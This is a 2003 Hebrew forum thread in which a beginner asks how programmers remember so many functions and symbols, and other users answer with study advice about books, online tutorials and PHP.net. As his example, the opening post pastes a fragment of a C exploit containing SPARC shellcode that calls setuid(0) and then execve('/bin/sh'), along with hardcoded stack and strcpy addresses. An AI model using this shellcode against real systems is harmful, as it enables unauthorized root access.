ABA


"שאלה כללית בבניית אתרים + תיכנות"
גירסת הדפסה        
קבוצות דיון בניית אתרים נושא #7571 מנהל    סגן המנהל    מפקח   Winner    צל"ש   מומחה  
אשכול מספר 7571
Godx

   00:28   03.11.03   
אל הפורום  
  שאלה כללית בבניית אתרים + תיכנות  
 
   מקווה שתבינו את הבעיה שלי..
טוב אז ככה.. יש לי מדריכים טובים לכל סוג של בניית אתר ....
יש לי כמה מדריכים טובים גם לשפות תיכנות..
עכשיו זה שאלה כללית..
תמיד אני רואה בכל העסק הזה מלא פונקציות וכל מני תווים וסימנים וכל זה..
עכשיו יש מיליון כאלה ! איך אני אמור להסתדר עם כל מילה.. לדעת איך כותבים אותה ולזכור את זה..
ולדעת למה היא משמשת?
למה יש לי הרבה רצון ללמוד את העיניין הזה וזה תמיד מה שעוצר אותי .. שאני רואה את כל המילים וזה ואני חושב לעצמי " איך אני אמור לדעת מה כל זה ?" וכנראה אני רק צריך שיפול לי האסימון.. הנה לכם דוגמה של חלק קטן מקוד של משהו בשפת C

#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>


char SPARC_sc =
/* setuid(0) */
"\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
"\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/
"\x91\xd0\x20\x08" /* ta 8 */

/* setreuid(0,0) - for me at least, these both had to be called */
"\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */
"\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/
"\x91\xd0\x20\x08" /* ta 8 */

/* exec(/bin/sh) */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, */
"\xd0\x23\xbf\xf8" /* st %o0, */
"\xc0\x23\xbf\xfc" /* st %g0, */
"\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */
"\x91\xd0\x20\x08" /* ta 8 */
;


const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;
const long DESTCPY_ADDR = 0xff3e7118;
const long DEF_OFFSET = 0x20;

const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;


char * get_ld_env(int buf_len, long offset);
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();


עכשיו איך אני מסתדר עם כל זה??
ואני מכיר הרבה אנשים שיודעים שפות תיכנות ולא יודע למה.. לי זה נראה בלתי אפשרי


                                שתף        
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

  האשכול     מחבר     תאריך כתיבה     מספר  
  בחרת בדוגמה רעה... עד מאד SupermanInNY 03.11.03 03:22 1
     אני חושש שלא הבנת... Godx 03.11.03 07:47 2
         מה אתה חושב שתוך יום יומיים לומדים את זה ? BamBa 03.11.03 07:55 3
             חח איזה אתר? Godx 03.11.03 07:59 4
                 חשבתי שאתה רוצה לבנות אתר ;]... BamBa 03.11.03 08:09 5
                     אם הייתי יודע לבנות אז למה לא ? חחחח Godx 03.11.03 08:15 6
                         תקנה ספר - הכי טוב, אולי קצת יקר, BamBa 03.11.03 08:16 7
                             יש לי ספר 300 עמודים C++ הורדתי Godx 03.11.03 18:47 10
                                 הורדת בעברית ? מאיפה הורדת ? BamBa 03.11.03 18:49 12
                                     הוא קנה בטח, מי יוריד ספר למחשב? ELECTROD  03.11.03 18:50 13
                                         חחח הורדתי לא קניתי.. Godx 03.11.03 19:45 21
  אם הזמן זה בא.. Fixxxer 03.11.03 08:45 8
  אתה לאט לאט תזכור הכל Soul_Reaver 03.11.03 17:28 9
     אני ממש לא ממליץ על ספר! ELECTROD  03.11.03 18:49 11
         באינטרנט לדעתי זה מייאש, BamBa 03.11.03 18:52 14
             HTML זה קל ללמוד אפשר בקלות אבל ELECTROD  03.11.03 18:55 15
                 גם אני אמרתי שמהאינטרנט Soul_Reaver 03.11.03 18:59 16
                 נכון, אבל, BamBa 03.11.03 18:59 17
                     מה הקשר למורישני? Soul_Reaver 03.11.03 19:03 18
                         אני מחזק את Soul_Reaver . ELECTROD  03.11.03 19:08 19
                         נכון, כל אחד וההעדפות שלו ! BamBa 03.11.03 19:22 20
                             חח משעמם זה שיגעון לקרוא 600 עמודים:) ELECTROD  03.11.03 19:46 22
                                 לא קניתי את הספר :) הורדתי! Godx 03.11.03 19:51 23
                                     תן לינק :) ELECTROD  03.11.03 19:53 24
                                         זה קובץ PDF יושב על המחשב שלי.. כנס לאייסיקיו Godx 03.11.03 19:55 25
                                             סבבי:) אני לא צריך. ELECTROD  03.11.03 19:56 26

       
SupermanInNY

   03:22   03.11.03   
אל הפורום  
  1. בחרת בדוגמה רעה... עד מאד  
בתגובה להודעה מספר 0
 
   תכנות מתחילים בצעדים קטנים.
קח ספר /מדריך על שפת C ותלמד מה זה עקרונות תכנות. בספר/מדריך טוב יסבירו לך מה המשמעות של כל סימן.
באופן כללי המטרה של פונקציות היא לעזור לך לעשות פעולות שחוזרות על עצמן בצורה קלה.
למה הכוונה במילים פשוטות?
נגיד שאתה אורז תפוזים. כל 90 תפוזים שארזת זה ארגז אחד.

יש לך 7 עובדים שכל אחד מהם מביא בסוף היום את השק עם התפוזים שהוא אסף ואתה צריך להביא ארגזים ככה שתמלא אותם.

אין לך כוח לחשב כמה ארגזים להביא כי אתה עייף גם ככה.
מה שאתה רוצה לעשות זה שכל עובד יבוא ויגיד לך כמה תפוזים הוא הביא
והמחשב יגיד לך כמה ארגזים אתה צריך לתת לו.

אז אתה בונה פונקציה שמקבלת את מספר התפוזים, מחלקת את מספר התפוזים ב90, בודקת אם יש שארית או לא (כי שארית נכנסת כבר לארגז נוסף) ומדפיסה את מספר הארגזים הדרוש.

ככה משה מביא לך מספר אתה רק מכניס אותו.. וזה מוציא לך את הפלט עם מספר הארגזים. זהו.. אתה לא צריך לחשב עם שארית.. בלי שארית.. זה פעולה שחוזרת על עצמה כל פעם. בנית פעם אחת.. ולכל אחד מהעובדים שלך אתה פשוט עושה קריאה לפונקציה הזאת.

זהו,.. מקווה שזה ענה על השאלה שלך ולא בילבלתי אותך יותר מדי.
אני יודע שזאת דוגמה שהיא נורא פשוטה.. אבל פשוטה פשוטה.. נראה אותך בונה אותה עם חישוב השארית. (למי שיודע תכנות זה לא בעיה.. למי שרק מתחיל זה יכול להיות אתגר קטן).

בהצלחה,

-אלון.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   07:47   03.11.03   
אל הפורום  
  2. אני חושש שלא הבנת...  
בתגובה להודעה מספר 1
 
   חחח שזה לא שספציפית אני לא מבין על פונקציות אלה שבכלליות בתיכנות יש מלא קודים וסימנים וסוגים של משתנים ותווים מיוחדים
ויש לי איזה ספר לC אבל המליצו לי על שפות אחרות.. זה גם מה שקורה לי בבניית אתרים.......
מלמדים אותי על גישה למסד נתונים ועוד כל מני דברים מסובכים שאני לא מבין מה הם...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   07:55   03.11.03   
אל הפורום  
  3. מה אתה חושב שתוך יום יומיים לומדים את זה ?  
בתגובה להודעה מספר 2
 
  
מתכנתים עובדים שעות על גבי שעות ביום, ועדיין לא יודעים את הכל בע"פ...
תשתמש בספר , לאט לאט תזכור יותר ויותר פונקציות ומשתנים,
ואז ילך לך חלק והרבה יותר טוב !

בהצלחה באתר !


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   07:59   03.11.03   
אל הפורום  
  4. חח איזה אתר?  
בתגובה להודעה מספר 3
 
   ואני רוצה לדעת מה הקשר בין הנושא הזה להאקינג ..?
ואנשים גם אמרו לי שאני צריך ללמוד לבד.. איך זה יתכן? והאם ממדריך ארוך מהאינטרנט אני אמור להבין?


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   08:09   03.11.03   
אל הפורום  
  5. חשבתי שאתה רוצה לבנות אתר ;]...  
בתגובה להודעה מספר 4
 
  
בין הנושא תיכנות להאקינג, תשאל בפורום תיכנות, ולא פה.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   08:15   03.11.03   
אל הפורום  
  6. אם הייתי יודע לבנות אז למה לא ? חחחח  
בתגובה להודעה מספר 5
 
   אין אני פשוט מסתבך בדברים האלה..
בHTML אולי פחות אבל ב PHP ASP ממש לא מבין כאילו את ההסבריפ


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   08:16   03.11.03   
אל הפורום  
  7. תקנה ספר - הכי טוב, אולי קצת יקר,  
בתגובה להודעה מספר 6
 
  
אבל משתלם !


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   18:47   03.11.03   
אל הפורום  
  10. יש לי ספר 300 עמודים C++ הורדתי  
בתגובה להודעה מספר 7
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   18:49   03.11.03   
אל הפורום  
  12. הורדת בעברית ? מאיפה הורדת ?  
בתגובה להודעה מספר 10
 
  
ו - C++ זה לא טוב,
אתה צריך בהתחלה לדעת C , אח"כ C++ .

מבין גבר?


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   18:50   03.11.03   
אל הפורום  
  13. הוא קנה בטח, מי יוריד ספר למחשב?  
בתגובה להודעה מספר 12
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   19:45   03.11.03   
אל הפורום  
  21. חחח הורדתי לא קניתי..  
בתגובה להודעה מספר 13
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Fixxxer

   08:45   03.11.03   
אל הפורום  
  8. אם הזמן זה בא..  
בתגובה להודעה מספר 0
 
   זה למה מתחילים מההתחלה ולא מהסוף.
תתחיל ללמוד ועל כל שאלה אני בטוח שיעזרו לך פה ואתה כבר תראה שזה לא כל כך קשה.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Soul_Reaver

   17:28   03.11.03   
אל הפורום  
  9. אתה לאט לאט תזכור הכל  
בתגובה להודעה מספר 0
 
   תתחיל לתכנת עם חלון אינטרנט באתר PHP.NET למשל,
וכל פעם שאתה שוכח פקודה או מה היא עושה תבדוק שם...
אחרי כמה זמן זה יבוא לך לבד ואתה תזכור הכל...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   18:49   03.11.03   
אל הפורום  
  11. אני ממש לא ממליץ על ספר!  
בתגובה להודעה מספר 9
 
   ספר זה לא כיף ללמוד בו וזה גם מיאש מאוד!
הכי טוב באינטרנט.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   18:52   03.11.03   
אל הפורום  
  14. באינטרנט לדעתי זה מייאש,  
בתגובה להודעה מספר 11
 
  
ספר הכי קל והכי טוב.
ככה למדתי HTML , אבל ממזמן ...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   18:55   03.11.03   
אל הפורום  
  15. HTML זה קל ללמוד אפשר בקלות אבל  
בתגובה להודעה מספר 14
 
   ASP וPHP וPERL
זה קשה בספר וממש לא קל.
אתה משווה בכלל HTML לשפות תיכנות?
HTML זה ממש קל.
שפות תיכנות זה המון לקרוא ובאינטרנט אתה לומד
ומתכנת ומנסה דברים תוך כדי כך שיותר קל
ושווה ללמוד באינטרנט.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Soul_Reaver

   18:59   03.11.03   
אל הפורום  
  16. גם אני אמרתי שמהאינטרנט  
בתגובה להודעה מספר 15
 
   גם אני למדתי PHP מהאינטרנט...
מ
php.net
הספר אונליין באנגלית,
וגם מ PHP EITAN
--------------
ובאמת יותר נוח מהאינטרנט כי אתה לומד מהסביבה שאתה עובד בה ולכן אתה יכול לקחת בקלות קודים מהאינטרנט ולעבוד עליהם וכו'....


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   18:59   03.11.03   
אל הפורום  
  17. נכון, אבל,  
בתגובה להודעה מספר 15
 
  
מורישני למד בספרים, והוא אמר שזה היה קל מאוד.
ה - HTML למדתי בגיל 10, והיה לי קל, אז בגיל הזה זה ממש קל !

ה - PHP ושפות הצד שרת, יהיו קצת יותר קשות, אבל בספר זה הרבה יותר טוב,
וזמין.


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Soul_Reaver

   19:03   03.11.03   
אל הפורום  
  18. מה הקשר למורישני?  
בתגובה להודעה מספר 17
 
   אם הוא למד ASP מספר אז זה אומר שזה יהיה קל לכולם?
גם אני היה לי קל מאוד ללמוד PHP מהאינטרנט ובכלל PHP זו שפה יותר קלה מ ASP ובכלל אני ממליץ עליה כי יש לך יכולת לרוץ על כל סוג שרת והיא לא מוגבלת...
לכל אחד נוח משהוא אחר...
למורישני ולעוד היה נוח מספרים,
ולשאר היה נוח מהאינטרנט...
כל אחד וההעדפות שלו...


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   19:08   03.11.03   
אל הפורום  
  19. אני מחזק את Soul_Reaver .  
בתגובה להודעה מספר 18
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
BamBa

   19:22   03.11.03   
אל הפורום  
  20. נכון, כל אחד וההעדפות שלו !  
בתגובה להודעה מספר 18
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   19:46   03.11.03   
אל הפורום  
  22. חח משעמם זה שיגעון לקרוא 600 עמודים:)  
בתגובה להודעה מספר 20
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   19:51   03.11.03   
אל הפורום  
  23. לא קניתי את הספר :) הורדתי!  
בתגובה להודעה מספר 22
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   19:53   03.11.03   
אל הפורום  
  24. תן לינק :)  
בתגובה להודעה מספר 23
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
Godx

   19:55   03.11.03   
אל הפורום  
  25. זה קובץ PDF יושב על המחשב שלי.. כנס לאייסיקיו  
בתגובה להודעה מספר 24
 
   אני יראה לך את זה שם כי קובץ PDF אי אפשר לעשות ממנו העתק
יש לי עוד מדריכים למלא שפות אני ישמח להביא


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד
ELECTROD 
חבר מתאריך 14.9.03
233 הודעות
   19:56   03.11.03   
אל הפורום  
  26. סבבי:) אני לא צריך.  
בתגובה להודעה מספר 25
 
  


                                                         (ניהול: מחק תגובה)
מכתב זה והנלווה אליו, על אחריות ועל דעת הכותב בלבד

תגובה מהירה  למכתב מספר: 
 
___________________________________________________________________

___________________________________________________________________
למנהלים:  נעל | תייק בארכיון | מחק | העבר לפורום אחר | מחק תגובות | עגן אשכול
       



© כל הזכויות שמורות ל-רוטר.נט בע"מ rotter.net